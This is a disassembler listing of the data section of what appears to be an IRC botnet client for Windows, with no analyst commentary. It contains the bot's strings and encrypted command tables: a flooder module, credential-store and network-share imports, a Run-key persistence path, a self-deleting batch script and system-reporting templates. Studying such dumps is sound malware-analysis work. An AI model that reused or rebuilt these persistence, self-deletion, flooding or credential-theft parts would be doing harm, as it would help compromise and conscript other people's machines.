dword_4185FC dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h ; DATA XREF: sub_403260+B2o dd 206F7420h, 2343003h, 2037325h, 0 dword_418620 dd 6578652Eh, 0 ; DATA XREF: sub_403260+43o ; sub_412720+51o aQuitRestarting db 'QUIT :restarting',0 ; DATA XREF: sub_40332B:loc_403538o ; sub_40332B:loc_403545o ... align 4 aQuitExitting db 'QUIT :exitting',0 ; DATA XREF: sub_40332B+200o ; sub_40A9CF:loc_40BD52o align 4 dword_41864C dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40332B+19Co aModuleSReporte db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC' db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA' db 'GS=%08X. Code: %08X (%s). %s...',0 align 4 aContinuing db 'Continuing',0 ; DATA XREF: sub_40332B:loc_40342Ao align 4 aRestarting db 'Restarting',0 ; DATA XREF: sub_40332B+F3o align 4 aException_flt db 'EXCEPTION_FLT',0 ; DATA XREF: sub_40332B:loc_40340Co align 4 aException_stac db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40332B:loc_403403o align 10h aException_nonc db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0 ; DATA XREF: sub_40332B:loc_4033FAo align 4 aException_int_ db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40332B:loc_4033F1o align 4 aException_ille db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40332B:loc_4033E8o align 4 aException_brea db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40332B:loc_4033DFo align 4 aException_acce db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40332B:loc_4033D6o align 4 aException_othe db 'EXCEPTION_OTHER',0 ; DATA XREF: sub_40332B+27o aUdp db 'udp',0 ; DATA XREF: sub_4038BA+27Co aInternetgetcon db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_403BD3:loc_403DCAo aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o align 10h aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: sub_403BD3:loc_403DA3o aFreeaddrinfo db 'freeaddrinfo',0 ; DATA XREF: sub_403BD3+184o align 4 aGetnameinfo db 'getnameinfo',0 ; DATA XREF: sub_403BD3+171o aGetaddrinfo db 'getaddrinfo',0 ; DATA XREF: sub_403BD3+15Eo aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_403BD3:loc_403D23o align 10h aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_403BD3:loc_403CC3o aNetaddalternat db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_403BD3+A4o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_403BD3+91o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_403BD3+7Eo aNetusedel db 'NetUseDel',0 ; DATA XREF: sub_403BD3+6Bo align 4 aNetuseadd db 'NetUseAdd',0 ; DATA XREF: sub_403BD3+58o align 4 aNetusegetinfo db 'NetUseGetInfo',0 ; DATA XREF: sub_403BD3+45o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_403BD3:loc_403C00o align 4 aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_403BD3+6o align 10h aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: sub_403DF3:loc_403F57o dword_4189C4 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 6920676Eh ; DATA XREF: sub_403DF3+6Eo dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h dd 34300320h, 3732502h, 2 dword_4189F8 dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h ; DATA XREF: sub_403FE5+7Eo dd 30032074h, 73250234h, 203h dword_418A18 dd 333131h ; DATA XREF: sub_403FE5:loc_403FFDo dword_418A1C dd 9EC09195h, 0D0A198ABh, 0B6B0BEADh, 8Fh, 0 ; DATA XREF: sub_4043E9+6o dword_418A30 dd 2E3031h ; DATA XREF: sub_4041B7+56o dword_418A34 dd 2E323931h, 2E383631h, 0 ; DATA XREF: sub_4041B7+3Bo dword_418A40 dd 2E323731h, 0 ; DATA XREF: sub_4041B7+20o dword_418A48 dd 2E373231h, 0 ; DATA XREF: sub_4041B7+5o dword_418A50 dd 252E7525h, 75252E75h, 75252Eh ; DATA XREF: sub_40D871+1CCo ; sub_41113B+45Ao dword_418A5C dd 313A3Ah ; DATA XREF: sub_40435B+42o dword_418A60 dd 7525h ; DATA XREF: sub_4055E5+458o ; sub_4055E5+69Eo ... dword_418A64 dd 252E7525h, 75252E75h, 3A75252Eh, 7525h ; DATA XREF: sub_4055E5+31Eo ; sub_4055E5+40Bo ... aU_U_U_UU db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+2A3o ; sub_4055E5+3AFo ... align 4 aU db '%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+229o ; sub_4055E5+351o ... align 10h aLgFlooder db 'LG flooder',0 ; DATA XREF: sub_405E45+109o align 4 aGetmoduleinfor db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo align 4 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_405FA3:loc_405FC8o align 10h aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_405FA3+Fo align 4 aSystem db 'system',0 ; DATA XREF: sub_406041+136o ; .data:0041BBD0o ... align 4 dword_418B04 dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h ; DATA XREF: sub_40637C+FEo dd 732520h dword_418B1C dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 320676Eh ; DATA XREF: sub_40637C+51o dd 25023430h, 2032569h, 6F727020h, 73736563h, 3A7365h dword_418B44 dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_4064BF+31o dword_418B54 dd 58323025h, 0 ; DATA XREF: sub_406722+266o ; sub_4147E5+11o ... dword_418B5C dd 58383025h, 0 ; DATA XREF: sub_406722+201o ; sub_40A9CF+1C12o dword_418B64 dd 7325h ; DATA XREF: sub_406722+1E3o ; sub_406722+296o ... aHkus db 'HKUS',0 ; DATA XREF: sub_406722+8Do align 10h aHklm db 'HKLM',0 ; DATA XREF: sub_406722+6Bo align 4 aHkcu db 'HKCU',0 ; DATA XREF: sub_406722+49o align 10h aHkcr db 'HKCR',0 ; DATA XREF: sub_406722+27o align 4 off_418B88 dd offset dword_418DD0 ; DATA XREF: sub_406E8E+4Br ; sub_406E8E+8Dr ... off_418B8C dd offset dword_418DA8 ; DATA XREF: sub_406E8E+106r ; sub_406E8E+12Ar ... dd offset loc_418D98 dd offset dword_418DA8 dd offset dword_418D88 dd offset dword_418D64 dd offset dword_418D54 dd offset dword_418D34 dd offset dword_418D20 dd offset dword_418D34 dd offset dword_418D0C dd offset dword_418CF4 dd offset dword_418CE4 dd offset dword_418CD0 dd offset dword_418CBC dd offset dword_418C9C dd offset dword_418C88 dd offset dword_418C6C dd offset dword_418C5C dd offset dword_418C6C dd offset dword_418C4C dd offset loc_418C24 dd offset dword_418C10 dd offset dword_418BF0 align 10h dword_418BF0 dd 0C2D48FAFh, 0D8A189F2h, 0BD97B0BCh, 0DF85B08Fh, 0F5979287h ; DATA XREF: .data:00418BE4o dd 0D1A28AE5h, 0ACF5BAh, 0 dword_418C10 dd 0C0CF838Bh, 0DBBC95F1h, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BE0o ; --------------------------------------------------------------------------- loc_418C24: ; DATA XREF: .data:00418BDCo mov ds:0F4DCC796h, eax cdq scasd retf 0FFA1h ; --------------------------------------------------------------------------- dw 0F3B0h dd 0D48EB4B7h, 0D1F0C690h, 0DFB99FE9h, 0B68DB0B1h, 0D29EA389h dd 87h, 0 dword_418C4C dd 0C3D08A83h, 0DBB69FB3h, 2 dup(0) ; DATA XREF: .data:00418BD8o dword_418C5C dd 0DFD89691h, 90B889D4h, 0BBE8ADh, 0 ; DATA XREF: .data:00418BD0o dword_418C6C dd 0DFD896B1h, 9EBC9FF1h, 80BCE59Bh, 0D483A682h, 0C0F6C68Fh ; DATA XREF: .data:00418BCCo ; .data:00418BD4o dd 0EDh, 0 dword_418C88 dd 0DFD89691h, 0DDB889F1h, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BC8o dword_418C9C dd 0D4D98FB5h, 9EBD8DF2h, 0A4AAF586h, 919CA794h, 0D5C58FA4h ; DATA XREF: .data:00418BC4o dd 0D2A29BEAh, 2 dup(0) dword_418CBC dd 0D5C58F84h, 0D2A29BEAh, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BC0o dword_418CD0 dd 0D1D98FB5h, 0FFEE8AF0h, 0A7B0F5AFh, 2 dup(0) ; DATA XREF: .data:00418BBCo dword_418CE4 dd 0D1D98F95h, 0DBE08AF0h, 0F5B0h, 0 ; DATA XREF: .data:00418BB8o dword_418CF4 dd 0D4D98FB5h, 9EBD8DF2h, 0BFAEE88Dh, 0C392A794h, 2 dup(0) ; DATA XREF: .data:00418BB4o dword_418D0C dd 0DCC79E87h, 0CCAB88F2h, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BB0o dword_418D20 dd 0F9D98F95h, 0D0A19DF2h, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BA8o dword_418D34 dd 0D4D98FB5h, 9EBD8DF2h, 0BCB9FF84h, 0C1B6F595h, 0D3DE8A92h ; DATA XREF: .data:00418BA4o ; .data:00418BACo dd 0D1A78EFCh, 0A6h, 0 dword_418D54 dd 0DFD0898Eh, 0C6ABD4F3h, 0ADh, 0 ; DATA XREF: .data:00418BA0o dword_418D64 dd 0D5DE8AA1h, 0EDEE8EF3h, 0B6A8E2ADh, 0C4A5F589h, 0DDDE928Ch ; DATA XREF: .data:00418B9Co dd 0CC9EDAF8h, 0A0BBF3A7h, 88h, 0 dword_418D88 dd 0C3C59581h, 0DBB69FB3h, 2 dup(0) ; DATA XREF: .data:00418B98o ; --------------------------------------------------------------------------- loc_418D98: ; DATA XREF: .data:00418B90o stosd xchg eax, ebp setalc retn ; --------------------------------------------------------------------------- dd 0C6ABD4EEh, 0ADh, 0 dword_418DA8 dd 0D1D489AEh, 0DB9DDAF1h, 0BAACE5ABh, 0F0D7AC8Fh, 0DFDF9297h ; DATA XREF: .data:off_418B8Co ; .data:00418B94o dd 0C7BA93EFh, 0A1BBC3E8h, 0D494BC8Dh, 2 dup(0) dword_418DD0 dd 0D1C4958Eh, 0C6ABD4EEh, 0ADh, 0 ; DATA XREF: .data:off_418B88o dword_418DE0 dd 293Ah ; DATA XREF: sub_406A23+9Co dword_418DE4 dd 5Ch ; DATA XREF: sub_406A23+1Bo ; sub_406AE7+1Bo ... dword_418DE8 dd 7078655Ch, 65726F6Ch, 78652E72h, 65h ; DATA XREF: sub_406B81+1Bo aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_406C51+1Co align 4 a@echoOffDelete db '@echo off',0Dh,0Ah ; DATA XREF: sub_406D90+A8o db ':deleteagain',0Dh,0Ah db 'del /A:H /F %s',0Dh,0Ah db 'del /F %s',0Dh,0Ah db 'if exist %s goto deleteagain',0Dh,0Ah db 'del %s',0Dh,0Ah,0 align 4 a_bat db '.bat',0 ; DATA XREF: sub_406D90+39o align 4 aWindowsDllLoad db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do ; sub_407148+19Do align 10h aQuitSUninstall db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o ; sub_407148+1C9o align 4 dword_418EB8 dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h ; DATA XREF: sub_40732D+115o dd 2037325h, 206F7420h, 6B636F73h, 34300373h, 3752502h dd 65732002h, 72657672h, 7325h dword_418EEC dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_40732D:loc_407423o dword_418EF8 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_40764D+6Ao dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh dd 2343003h, 2037325h, 0 dword_418F2C dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h ; DATA XREF: sub_4077DD+9Co dd 34300320h, 3732502h, 2 dword_418F4C dd 20h ; DATA XREF: sub_407928+4Co ; sub_407928+96o ... dword_418F50 dd 30h ; DATA XREF: sub_407E0C+CBo ; sub_40CA29+13Do ... dword_418F54 dd 252E7325h, 73252E73h, 73252Eh ; DATA XREF: sub_407F3D+118o ; sub_40806A+BDo dword_418F60 dd 9ED9958Fh, 0A395FEh, 0 ; DATA XREF: sub_408887+6o ; --------------------------------------------------------------------------- loc_418F6C: ; DATA XREF: sub_408887+14o xchg eax, ebp xchg eax, ecx rcr byte ptr [esi-33436017h], 0A9h mov esi, 0FB96BCBDh xchg eax, ebp retn ; --------------------------------------------------------------------------- dd 2 dup(0) dword_418F84 dd 9ED9958Fh, 9FF9h, 0 ; DATA XREF: sub_408887+22o ; --------------------------------------------------------------------------- loc_418F90: ; DATA XREF: sub_408887+30o xchg al, [edi-6B4C223Eh] stosd retf 0 ; --------------------------------------------------------------------------- align 10h dword_418FA0 dd 0D7D88985h, 0DFE09FF1h, 0ADh, 0 ; DATA XREF: sub_408887+3Eo dword_418FB0 dd 0D5D98F8Ch, 90A089F0h, 0FDB3FFABh, 0A09Ah, 0 ; DATA XREF: sub_408887+4Co off_418FC4 dd offset dword_4190E8 ; DATA XREF: sub_4088FC+19r ; sub_4088FC+60r off_418FC8 dd offset loc_4190B4 ; DATA XREF: sub_4088FC+8Ar dd offset dword_419098 dd offset dword_419054 dd offset dword_41903C dd offset dword_418FE4 dd 2 dup(0) dword_418FE4 dd 0DEC08986h, 0DAAF95F1h, 0BEBFF7E6h, 0C8D9A69Eh, 0DFD88E83h ; DATA XREF: .data:00418FD8o dd 0D3A199B3h, 0BEBFF7E7h, 0D5D8A69Eh, 0DCD9918Dh, 91AA9BF2h dd 0BDB9F9BBh, 0C1D8B19Eh, 0D1D4968Dh, 0DFB7D5EDh, 8CB1FFA0h dd 0D49DB099h, 0D5DB8395h, 0CA91C8F9h, 0E2F3A1A5h, 0D48FB0D5h dd 2 dup(0) dword_41903C dd 0D7999597h, 0CDAB97FCh, 0BAA7BEF9h, 0D2D9B296h, 8B8Dh ; DATA XREF: .data:00418FD4o dd 0 dword_419054 dd 0DEC08986h, 0DAAF95F1h, 0E2F1A3E7h, 82D8B3D4h, 818380D3h ; DATA XREF: .data:00418FD0o dd 93F9C8A9h, 0B6EAA0F0h, 0D7CFE1D6h, 0D38FCBDBh, 8BE3C2ACh dd 0EABAA1A9h, 89C2B7C8h, 9FD2D5D7h, 0CDAF89F0h, 0FDBDFEB1h dd 92AD9Eh, 0 dword_419098 dd 0DEC08986h, 0DAAF95F1h, 0B0B7FDE6h, 0DE84BA89h, 0D3999284h ; DATA XREF: .data:00418FCCo dd 97F2h, 0 ; --------------------------------------------------------------------------- loc_4190B4: ; DATA XREF: .data:off_418FC8o xchg al, [edi-604D2E3Dh] mov al, ds:0B9F9AA91h cld cwde mov al, ds:8887C385h retn ; --------------------------------------------------------------------------- db 9Fh dd 0D9A195DAh, 0BC8AF5A4h, 0D095B994h, 0C3D9AF90h, 0D2A29BE9h dd 0B6F0E2ADh, 0B083h, 0 dword_4190E8 dd 0DCD88996h, 90BC9BFFh, 0B4B1FFAFh, 0D2D9B097h, 8B8Dh ; DATA XREF: .data:off_418FC4o dd 0 off_419100 dd offset loc_415353+2 ; DATA XREF: sub_408342+2Co dword_419104 dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh ; DATA XREF: sub_4083AD+3CEo dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah dd 34300320h, 3642502h, 7A484D02h, 6152202Eh, 3203A6Dh dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh dword_4191F4 dd 73h ; DATA XREF: sub_4083AD:loc_4086C8o ; sub_4083AD:loc_4086E7o ... aProcessornames db 'ProcessorNameString',0 ; DATA XREF: sub_4083AD+2D2o aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0 ; DATA XREF: sub_4083AD+296o align 4 aNo db 'No',0 ; DATA XREF: sub_4083AD:loc_4085EBo ; sub_408B30:loc_408CB4o ... align 10h aYes db 'Yes',0 ; DATA XREF: sub_4083AD+232o ; sub_408B30+178o ... a2003 db '2003',0 ; DATA XREF: sub_4083AD+1FFo align 4 aXp db 'XP',0 ; DATA XREF: sub_4083AD+1E1o align 10h a2000 db '2000',0 ; DATA XREF: sub_4083AD+1C3o align 4 aMe db 'ME',0 ; DATA XREF: sub_4083AD+1A5o align 4 a98 db '98',0 ; DATA XREF: sub_4083AD+187o align 10h aNt db 'NT',0 ; DATA XREF: sub_4083AD+166o align 4 a95 db '95',0 ; DATA XREF: sub_4083AD+153o align 4 aNoSp db 'no SP',0 ; DATA XREF: sub_4083AD+12Eo align 10h a?: ; DATA XREF: sub_4083AD+124o unicode 0, <?>,0 aSysinfoThread db 'Sysinfo thread',0 ; DATA XREF: sub_4087C4+2Bo align 4 dword_419284 dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h ; DATA XREF: sub_408B30+2D4o dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh dd 203A656Dh, 2343003h, 2037325h, 7954202Eh, 203A6570h dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h dd 2037325h, 6946202Eh, 61776572h, 64656C6Ch, 3003203Ah dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h dd 3732502h, 25202C02h, 53202E75h, 64656570h, 3003203Ah dd 30250234h, 366322Eh, 424B2B02h, 6365732Fh, 5249202Eh dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h dd 20732579h, 2343003h, 2036425h, 72756F68h, 3207325h dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0 aGood db 'Good',0 ; DATA XREF: sub_408B30+1F9o align 4 aAvarage db 'Avarage',0 ; DATA XREF: sub_408B30+1E3o aBad db 'Bad',0 ; DATA XREF: sub_408B30+1CDo aLan db 'LAN',0 ; DATA XREF: sub_408B30:loc_408C8Fo aModem db 'Modem',0 ; DATA XREF: sub_408B30+14Do align 10h aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_408B30+F5o ; sub_408B30+108o aNetinfoThread db 'Netinfo thread',0 ; DATA XREF: sub_408E4A+2Bo align 4 dword_419398 dd 5C3A41h ; DATA XREF: sub_408E8E+6r ; sub_408F2E+4Er ... dword_41939C dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h ; DATA XREF: sub_408F2E+270o dd 2037525h, 6F54202Ch, 206C6174h, 63617073h, 3203A65h dd 25023430h, 4D020375h, 72662042h, 2E6565h dword_4193D4 dd 30037325h, 73250234h, 73250203h, 0 ; DATA XREF: sub_408F2E+1EDo dword_4193E4 dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h ; DATA XREF: sub_408F2E+1C5o dd 20424D02h, 65657266h, 0 dword_419404 dd 202Eh ; DATA XREF: sub_408F2E+17Co ; sub_408F2E+24Ao aUnknown db 'unknown',0 ; DATA XREF: sub_408F2E:loc_40902Do ; sub_4129CA+34o aRamdisk db 'ramdisk',0 ; DATA XREF: sub_408F2E+F6o aCdRom db 'cd-rom',0 ; DATA XREF: sub_408F2E+E4o align 10h aRemote db 'remote',0 ; DATA XREF: sub_408F2E+D2o align 4 aFixed db 'fixed',0 ; DATA XREF: sub_408F2E+C0o align 10h aRemovable db 'removable',0 ; DATA XREF: sub_408F2E+AEo align 4 aDriveInformati db 'Drive information - ',0 ; DATA XREF: sub_408F2E+2Eo align 4 aDriveinfoThrea db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo align 4 aThread db 'thread',0 ; DATA XREF: sub_4093B6+98o ; sub_4094E6+93o align 10h aBtg db 'btg',0 ; DATA XREF: sub_4093B6+93o dword_419474 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_4093B6+67o aBtgTriedExecut db '- btg tried executing an unreadable address. (%08X)',0 aS db '*%s*',0 ; DATA XREF: sub_4097A7+81o ; sub_4098F3+C4o align 4 dword_4194BC dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_409AD5+DAo dword_4194CC dd 3430032Dh, 2037802h ; DATA XREF: sub_409AD5:loc_409B25o aNoThreadsRunni db '- No threads running.',0 align 4 dword_4194EC dd 3430032Dh, 2037802h, 694C202Dh, 6E697473h, 30032067h ; DATA XREF: sub_409AD5+3Ao dd 69250234h, 32F0203h, 25023430h, 20020369h, 65726874h dd 3A736461h, 0 aCouldNotGetAVa db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o align 10h dword_419540 dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h ; DATA XREF: sub_409DD0+3A3o dd 30033A72h, 64250234h, 203h dword_419568 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_409DD0+37Fo dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h dd 203h dword_419594 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_409DD0+32Fo dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h dd 2E64252Eh, 296425h aCouldNotResolv db 'Could not resolve name',0 ; DATA XREF: sub_409DD0:loc_409F06o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409DD0+80o aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409DD0+6Ao align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409DD0:loc_409E24o align 4 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_409DD0+34o align 4 unk_419618 db 55h ; U ; DATA XREF: sub_40A1A7+Co db 73h, 61h, 67h db 65h ; e db 3Ah, 20h, 3 db 30h ; 0 db 34h, 2, 74h db 72h ; r db 61h, 63h, 65h db 3 db 2, 20h, 3Ch db 3 db 30h, 34h, 2 db 68h ; h db 6Fh, 73h, 74h db 3 db 2, 3Eh, 20h aHopcountTimeou db '[<hopcount> <timeout> <pingcount>]',0 align 4 dword_41965C dd 202h ; DATA XREF: sub_40A2D2+159o dword_419660 dd 0A0D7325h, 0 ; DATA XREF: sub_40A2D2+6Eo dword_419668 dd 3334h ; DATA XREF: sub_40A2D2+41o dword_41966C dd 3430032Dh, 3752502h, 51202D02h, 79726575h, 20676E69h ; DATA XREF: sub_40A2D2+24o dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h dd 3A02h dword_419698 dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h ; DATA XREF: sub_40A4A4+44o dd 2E020373h, 0 dword_4196B4 dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h ; DATA XREF: sub_40A50E+97o dd 30032072h, 73250234h, 203h dword_4196D4 dd 0D9D88E95h, 0CCAFD4EEh, 0BDF0FEA1h, 0A19Eh, 0 ; DATA XREF: sub_40A50E:loc_40A562o aAbcdef db 'abcdef',0 ; DATA XREF: sub_40A8AD+1Bo align 10h aUsername db 'username',0 ; DATA XREF: sub_40A9CF:loc_40C8EAo align 4 aId db 'id',0 ; DATA XREF: sub_40A9CF+1EF2o align 10h dword_419700 dd 259B8h ; DATA XREF: sub_40A9CF+1ECDr align 8 dword_419708 dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h ; DATA XREF: sub_40A9CF+1EB1o dd 3642502h, 79616402h, 3207325h, 25023430h, 68020364h dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h dd 3207325h, 25023430h, 68020364h, 2572756Fh, 30032073h dd 64250234h, 696D0203h, 6574756Eh, 7325h dword_41977C dd 577ED30h ; DATA XREF: sub_40A9CF+1C87r dd 2 dup(0) dword_419788 dd 5658h ; DATA XREF: sub_40A9CF+1C72r align 10h dword_419790 dd 4827598h ; DATA XREF: sub_40A9CF+1C4Br dd 2 dup(0) a9252 db '9252',0 ; DATA XREF: sub_40A9CF+1BFAo align 4 dword_4197A4 dd 2DEB94F9h ; DATA XREF: sub_40A9CF+1BE9r dd 3 dup(0) dword_4197B4 dd 2E6BE5C8h ; DATA XREF: sub_40A9CF+1BC2r align 10h dword_4197C0 dd 2E5B8h ; DATA XREF: sub_40A9CF+1BADr align 8 dword_4197C8 dd 2495E5C8h ; DATA XREF: sub_40A9CF+1B86r dd 2 dup(0) dword_4197D4 dd 24858h ; DATA XREF: sub_40A9CF+1B71r dd 0 dword_4197DC dd 21DFB0F8h ; DATA XREF: sub_40A9CF+1B36r dd 2 dup(0) dword_4197E8 dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h ; DATA XREF: sub_40A9CF+1B17o dd 3643330h, 20732502h, 6E69575Bh, 5D3233h dword_41980C dd 26809888h ; DATA XREF: sub_40A9CF+1AFCr dd 2 dup(0) dword_419818 dd 266E8h ; DATA XREF: sub_40A9CF+1AE7r align 10h dword_419820 dd 65657053h, 3203A64h, 25023430h, 4B020375h, 65732F42h ; DATA XREF: sub_40A9CF+1AC8o dd 63h dword_419838 dd 91DF38h ; DATA XREF: sub_40A9CF+19B1r dd 2 dup(0) dword_419844 dd 2343003h, 2037325h ; DATA XREF: sub_40A9CF+1992o aHasNoIpv4End_ db ' has no ipv4 end.',0 align 10h dword_419860 dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h ; DATA XREF: sub_40A9CF+1976o dd 2037325h, 20736920h, 2343003h, 252E6925h, 69252E69h dd 369252Eh, 2 a2002 db '2002',0 ; DATA XREF: sub_40A9CF+1851o align 4 dword_419898 dd 42A40FB6h ; DATA XREF: sub_40A9CF+180Br dd 3 dup(0) dword_4198A8 dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h ; DATA XREF: sub_40A9CF+17C1o dd 2037325h, 0 dword_4198C4 dd 151858h ; DATA XREF: sub_40A9CF+1710r align 10h dword_4198D0 dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h ; DATA XREF: sub_40A9CF+16F1o ; sub_40A9CF+17ECo dd 2037325h, 2Eh dword_4198EC dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h ; DATA XREF: sub_40A9CF+16AAo dd 20657079h, 2343003h, 2036425h, 64646120h, 73736572h dd 3003203Ah, 73250234h, 203h dword_419920 dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h ; DATA XREF: sub_40A9CF+1659o dd 3A737365h, 34300320h, 3732502h, 2 dword_419944 dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h ; DATA XREF: sub_40A9CF+1602o dd 3A737365h, 34300320h, 3732502h, 2 dword_419968 dd 3Ch ; DATA XREF: sub_40A9CF:loc_40BFBAo ; sub_40A9CF:loc_40C011o ... dword_41996C dd 24858h ; DATA XREF: sub_40A9CF+1534r dd 0 aQuitChangingSe db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o align 4 dword_41998C dd 0B7DFB102h ; DATA XREF: sub_40A9CF+14F5r dd 3 dup(0) dword_41999C dd 4B836E8h ; DATA XREF: sub_40A9CF+14E0r dd 2 dup(0) dword_4199A8 dd 3E08h ; DATA XREF: sub_40A9CF+14B2r align 10h dword_4199B0 dd 952EF8h ; DATA XREF: sub_40A9CF+1484r dd 2 dup(0) dword_4199BC dd 22F78h ; DATA XREF: sub_40A9CF+146Fr dd 0 dword_4199C4 dd 59D83703h ; DATA XREF: sub_40A9CF+1450r dd 3 dup(0) dword_4199D4 dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h ; DATA XREF: 